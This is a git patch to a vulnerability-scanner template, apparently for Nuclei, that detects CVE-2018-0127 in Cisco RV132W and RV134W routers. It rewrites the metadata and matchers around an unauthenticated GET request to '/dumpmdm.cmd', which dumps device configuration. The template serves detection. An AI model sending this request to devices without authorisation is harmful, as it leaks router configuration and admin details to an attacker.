From 2f99b4165a774c6a769a90f1b527ff26f0bf9d50 Mon Sep 17 00:00:00 2001 From: sandeep Date: Sat, 2 Oct 2021 04:33:14 +0530 Subject: [PATCH] misc update --- cves/2018/CVE-2018-0127.yaml | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/cves/2018/CVE-2018-0127.yaml b/cves/2018/CVE-2018-0127.yaml index ab31e8d430..dce6304d1d 100644 --- a/cves/2018/CVE-2018-0127.yaml +++ b/cves/2018/CVE-2018-0127.yaml @@ -1,26 +1,27 @@ id: CVE-2018-0127 + info: - name: Cisco RV132W and RV134W Wireless VPN Routers Unauthenticated Information Disclosure Vulnerability + name: Cisco RV132W and RV134W Router Information Disclosure author: jrolf severity: critical - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-0127 - description: Detects Cisco devices vulnerable to CVE-2018-0127 - tags: cve,cve2018,cisco + description: A vulnerability in the web interface of Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device, which could lead to the disclosure of confidential information. + tags: cve,cve2018,cisco,router requests: - method: GET path: - "{{BaseURL}}/dumpmdm.cmd" + matchers-condition: and matchers: - type: status status: - 200 + - type: word words: - "Dump" - "MDM" - "cisco" - "admin" - part: body + part: body \ No newline at end of file